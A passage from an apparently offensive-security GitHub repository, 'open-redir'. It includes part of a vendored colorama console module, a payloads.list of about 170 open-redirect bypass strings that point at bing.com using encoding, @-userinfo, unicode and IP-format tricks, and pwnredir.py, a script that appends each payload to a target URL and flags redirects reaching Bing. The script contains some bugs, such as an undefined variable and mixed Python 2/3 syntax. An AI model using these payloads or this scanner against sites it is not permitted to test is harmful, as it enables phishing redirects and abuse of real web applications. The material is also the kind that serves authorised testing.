position=None, on_stderr=False): 93 | if position is None: 94 | # I'm not currently tracking the position, so there is no default. 95 | # position = self.get_position() 96 | return 97 | handle = win32.STDOUT 98 | if on_stderr: 99 | handle = win32.STDERR 100 | win32.SetConsoleCursorPosition(handle, position) 101 | 102 | def cursor_adjust(self, x, y, on_stderr=False): 103 | handle = win32.STDOUT 104 | if on_stderr: 105 | handle = win32.STDERR 106 | position = self.get_position(handle) 107 | adjusted_position = (position.Y + y, position.X + x) 108 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) 109 | 110 | def erase_screen(self, mode=0, on_stderr=False): 111 | # 0 should clear from the cursor to the end of the screen. 112 | # 1 should clear from the cursor to the beginning of the screen. 113 | # 2 should clear the entire screen, and move cursor to (1,1) 114 | handle = win32.STDOUT 115 | if on_stderr: 116 | handle = win32.STDERR 117 | csbi = win32.GetConsoleScreenBufferInfo(handle) 118 | # get the number of character cells in the current buffer 119 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y 120 | # get number of character cells before current cursor position 121 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X 122 | if mode == 0: 123 | from_coord = csbi.dwCursorPosition 124 | cells_to_erase = cells_in_screen - cells_before_cursor 125 | if mode == 1: 126 | from_coord = win32.COORD(0, 0) 127 | cells_to_erase = cells_before_cursor 128 | elif mode == 2: 129 | from_coord = win32.COORD(0, 0) 130 | cells_to_erase = cells_in_screen 131 | # fill the entire screen with blanks 132 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 133 | # now set the buffer's attributes accordingly 134 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 135 | if mode == 2: 136 | # put the cursor where needed 137 | win32.SetConsoleCursorPosition(handle, (1, 1)) 138 | 139 | def erase_line(self, mode=0, on_stderr=False): 140 | # 0 should clear from the cursor to the end of the line. 141 | # 1 should clear from the cursor to the beginning of the line. 142 | # 2 should clear the entire line. 143 | handle = win32.STDOUT 144 | if on_stderr: 145 | handle = win32.STDERR 146 | csbi = win32.GetConsoleScreenBufferInfo(handle) 147 | if mode == 0: 148 | from_coord = csbi.dwCursorPosition 149 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X 150 | if mode == 1: 151 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 152 | cells_to_erase = csbi.dwCursorPosition.X 153 | elif mode == 2: 154 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 155 | cells_to_erase = csbi.dwSize.X 156 | # fill the entire screen with blanks 157 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 158 | # now set the buffer's attributes accordingly 159 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 160 | 161 | def set_title(self, title): 162 | win32.SetConsoleTitle(title) 163 | -------------------------------------------------------------------------------- /colorama/winterm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn0sec/open-redir/65615d8531a0366d18ff6c6aa3299f3d9de17b36/colorama/winterm.pyc -------------------------------------------------------------------------------- /payloads.list: -------------------------------------------------------------------------------- 1 | //bing.com 2 | /@bing.com 3 | /etc/passwd 4 | @bing.com 5 | bing.com/ 6 | https://www.bing.com 7 | www.bing.com 8 | %2520%252f%252fbing.com 9 | .bing.com 10 | ..bing.com 11 | %%2f2fbing.com 12 | ///example.com@bing.com/%2f.. 13 | //bing.com/%2f 14 | //example.com@bing.com/%2f.. 15 | ///bing.com/%2f.. 16 | ////bing.com/%2f.. 17 | ////example.com@bing.com/%2f.. 18 | https://bing.com/%2f.. 19 | https://example.com@bing.com/%2f.. 20 | /https://bing.com/%2f.. 21 | /https://example.com@bing.com/%2f.. 22 | //bing.com/%2f%2e%2e 23 | //example.com@bing.com/%2f%2e%2e 24 | ///bing.com/%2f%2e%2e 25 | ///example.com@bing.com/%2f%2e%2e 26 | ////bing.com/%2f%2e%2e 27 | ////example.com@bing.com/%2f%2e%2e 28 | https://bing.com/%2f%2e%2e 29 | https://example.com@bing.com/%2f%2e%2e 30 | /https://bing.com/%2f%2e%2e 31 | /https://example.com@bing.com/%2f%2e%2e 32 | //bing.com/ 33 | //example.com@bing.com/ 34 | ///bing.com/ 35 | ///example.com@bing.com/ 36 | ////bing.com/ 37 | ////example.com@bing.com/ 38 | https://bing.com/ 39 | https://example.com@bing.com/ 40 | /https://bing.com/ 41 | /https://example.com@bing.com/ 42 | //bing.com// 43 | //example.com@bing.com// 44 | ///bing.com// 45 | ///example.com@bing.com// 46 | ////bing.com// 47 | ////example.com@bing.com// 48 | https://bing.com// 49 | https://example.com@bing.com// 50 | //https://bing.com// 51 | //https://example.com@bing.com// 52 | //bing.com/%2e%2e%2f 53 | //example.com@bing.com/%2e%2e%2f 54 | ///bing.com/%2e%2e%2f 55 | ///example.com@bing.com/%2e%2e%2f 56 | ////bing.com/%2e%2e%2f 57 | ////example.com@bing.com/%2e%2e%2f 58 | https://bing.com/%2e%2e%2f 59 | https://example.com@bing.com/%2e%2e%2f 60 | //https://bing.com/%2e%2e%2f 61 | //https://example.com@bing.com/%2e%2e%2f 62 | ///bing.com/%2e%2e 63 | ///example.com@bing.com/%2e%2e 64 | ////bing.com/%2e%2e 65 | ////example.com@bing.com/%2e%2e 66 | https:///bing.com/%2e%2e 67 | https:///example.com@bing.com/%2e%2e 68 | //https:///bing.com/%2e%2e 69 | //example.com@https:///bing.com/%2e%2e 70 | /https://bing.com/%2e%2e 71 | /https://example.com@bing.com/%2e%2e 72 | ///bing.com/%2f%2e%2e 73 | ///example.com@bing.com/%2f%2e%2e 74 | ////bing.com/%2f%2e%2e 75 | ////example.com@bing.com/%2f%2e%2e 76 | https:///bing.com/%2f%2e%2e 77 | https:///example.com@bing.com/%2f%2e%2e 78 | /https://bing.com/%2f%2e%2e 79 | /https://example.com@bing.com/%2f%2e%2e 80 | /https:///bing.com/%2f%2e%2e 81 | /https:///example.com@bing.com/%2f%2e%2e 82 | /%09/bing.com 83 | /%09/example.com@bing.com 84 | //%09/bing.com 85 | //%09/example.com@bing.com 86 | ///%09/bing.com 87 | ///%09/example.com@bing.com 88 | ////%09/bing.com 89 | ////%09/example.com@bing.com 90 | https://%09/bing.com 91 | https://%09/example.com@bing.com 92 | /%5cbing.com 93 | /%5cexample.com@bing.com 94 | //%5cbing.com 95 | //%5cexample.com@bing.com 96 | ///%5cbing.com 97 | ///%5cexample.com@bing.com 98 | ////%5cbing.com 99 | ////%5cexample.com@bing.com 100 | https://%5cbing.com 101 | https://%5cexample.com@bing.com 102 | /https://%5cbing.com 103 | /https://%5cexample.com@bing.com 104 | https://bing.com 105 | https://example.com@bing.com 106 | //bing.com 107 | https:bing.com 108 | //bing%E3%80%82com 109 | \/\/bing.com/ 110 | /\/bing.com/ 111 | //bing%00.com 112 | https://example.com/https://bing.com/ 113 | http://[::204.79.197.200] 114 | http://example.com@[::204.79.197.200] 115 | http://3H6k7lIAiqjfNeN@[::204.79.197.200] 116 | http:0xd83ad6ce 117 | http:example.com@0x62696e672e636f6d 118 | http:[::204.79.197.200] 119 | http:example.com@[::204.79.197.200] 120 | 〱bing.com 121 | 〵bing.com 122 | ゝbing.com 123 | ーbing.com 124 | ーbing.com 125 | /〱bing.com 126 | /〵bing.com 127 | /ゝbing.com 128 | /ーbing.com 129 | /ーbing.com 130 | %68%74%74%70%73%3a%2f%2f%77%77%77%2e%62%69%6e%67%2e%63%6f%6d 131 | http://%77%77%77%2e%62%69%6e%67%2e%63%6f%6d 132 | <>//bing.com 133 | //bing.com\@example.com 134 | https://:@bing.com\@example.com 135 | http://bing.com:80#@example.com/ 136 | http://bing.com:80?@example.com/ 137 | http://3H6k7lIAiqjfNeN@example.com+@bing.com/ 138 | http://XY>.7d8T\205pZM@example.com+@bing.com/ 139 | http://3H6k7lIAiqjfNeN@example.com@bing.com/ 140 | http://XY>.7d8T\205pZM@example.com@bing.com/ 141 | http://example.com+&@bing.com#+@example.com/ 142 | http://bing.com\texample.com/ 143 | //bing.com:80#@example.com/ 144 | //bing.com:80?@example.com/ 145 | //3H6k7lIAiqjfNeN@example.com+@bing.com/ 146 | //XY>.7d8T\205pZM@example.com+@bing.com/ 147 | //3H6k7lIAiqjfNeN@example.com@bing.com/ 148 | //XY>.7d8T\205pZM@example.com@bing.com/ 149 | //example.com+&@bing.com#+@example.com/ 150 | //bing.com\texample.com/ 151 | http://;@bing.com 152 | @bing.com 153 | data:text/html;base64,aHR0cHM6Ly93d3cuYmluZy5jb20= 154 | http://bing.com%2f%2f.example.com/ 155 | http://bing.com%5c%5c.example.com/ 156 | http://bing.com%3F.example.com/ 157 | http://bing.com%23.example.com/ 158 | http://example.com:80%40bing.com/ 159 | /https:/%5cbing.com/ 160 | /http://bing.com 161 | /%2f%2fbing.com 162 | /bing.com/%2f%2e%2e 163 | /http:/bing.com 164 | /.bing.com 165 | ///\;@bing.com 166 | ///bing.com 167 | /////bing.com/ 168 | /////bing.com 169 | /%0D/bing.com 170 | /%0D%0Ahttp://bing.com/ 171 | //bing。com 172 | //bing%E3%80%82com 173 | %20//bing.com 174 | -------------------------------------------------------------------------------- /pwnredir.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os,requests,signal 3 | from optparse import OptionParser 4 | from colorama import * 5 | 6 | def banner(): 7 | print(Style.BRIGHT + Fore.YELLOW + """ 8 | ____ ____ ___ __ 9 | / __ \_ ______ / __ \___ ____/ (_)_______ _____/ /_ 10 | / /_/ / | /| / / __ \/ /_/ / _ \/ __ / / ___/ _ \/ ___/ __/ 11 | / ____/| |/ |/ / / / / _, _/ __/ /_/ / / / / __/ /__/ /_ 12 | /_/ |__/|__/_/ /_/_/ |_|\___/\__,_/_/_/ \___/\___/\__/ 13 | [ version 0.1 ] [ Pwn0sec (pwn0sec.researcher@gmail.com) ] 14 | [ twitter.com/pwn0sec ] 15 | """ + Style.RESET_ALL) 16 | 17 | def main(): 18 | os.system('clear') 19 | banner() 20 | usage = "Usage: python %prog [-h] -u 'URL' -f [file]" 21 | 22 | parser = OptionParser(usage=usage) 23 | parser.add_option("-u", "--url", dest="url", help="target URL") 24 | parser.add_option("-f", "--file", dest="file", help="payloads file") 25 | 26 | (options, args) = parser.parse_args() 27 | if options.url is None: 28 | parser.print_help() 29 | exit() 30 | 31 | # Payloads file 32 | if options.file is True: 33 | s.addOption("file", True) 34 | 35 | 36 | #Open file 37 | with open(options.file) as f: 38 | for payload in f: 39 | payloadF = payload.strip() 40 | urlF = options.url + payloadF 41 | print(urlF) 42 | 43 | #Get the response(200,400,404). 44 | response = requests.get(urlF, verify=True) 45 | 46 | #===Process to find an open redirect===. 47 | if response.history: 48 | 49 | #Compare the destination url with Bing's url. 50 | if str(response.url)[0:19] == 'http://www.bing.com' or str(response.url)[0:20] == 'https://www.bing.com': 51 | 52 | print (Style.BRIGHT + Fore.YELLOW + "Open Redirect Vulnerability found!" + Style.RESET_ALL) 53 | print (Fore.YELLOW + "Redirected to:"), Fore.RED, response.status_code, response.url, Style.RESET_ALL 54 | print (Style.BRIGHT + Fore.BLUE + "Payload ---> " + Style.RESET_ALL), Fore.BLUE + payloadF + Style.RESET_ALL + "\n" 55 | exit() 56 | else: 57 | print (Fore.YELLOW + "Redirected to:"), response.status_code, response.url, Style.RESET_ALL + "\n" 58 | 59 | else: 60 | print "Request was not redirected\n" 61 | 62 | 63 | #Press ctrl+c to finish 64 | def ctrl_c(signum, rfm): 65 | print ("\nSee you soon!\n") 66 | exit() 67 | 68 | signal.signal(signal.SIGINT, ctrl_c) 69 | 70 | try: 71 | main() 72 | print(Fore.YELLOW + "RESULT: " + Style.RESET_ALL + "No Open Redirect Found!") 73 | except(TypeError): 74 | print("Usage: python ordetector.py -u 'URL' -f [file]\n") 75 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | --------------------------------------------------------------------------------